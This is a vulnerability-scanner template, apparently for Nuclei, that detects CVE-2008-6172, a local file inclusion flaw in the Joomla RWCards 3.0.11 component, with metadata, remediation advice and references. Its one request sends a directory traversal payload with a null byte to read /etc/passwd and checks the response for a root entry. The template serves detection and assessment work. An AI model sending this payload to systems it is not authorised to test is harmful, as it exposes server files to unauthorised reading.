Joomla! Component RWCards 3.0.11 - Local File Inclusion

id: CVE-2008-6172

info:
  name: Joomla! Component RWCards 3.0.11 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla! when magic_quotes_gpc is disabled allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Update Joomla! Component RWCards to the latest version to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6817
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6172
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/46081
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2008-6172
    cwe-id: CWE-22
    epss-score: 0.12284
    epss-percentile: 0.9567
    cpe: cpe:2.3:a:weberr:rwcards:3.0.11:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: weberr
    product: rwcards
  tags: cve2008,cve,joomla,lfi,edb,weberr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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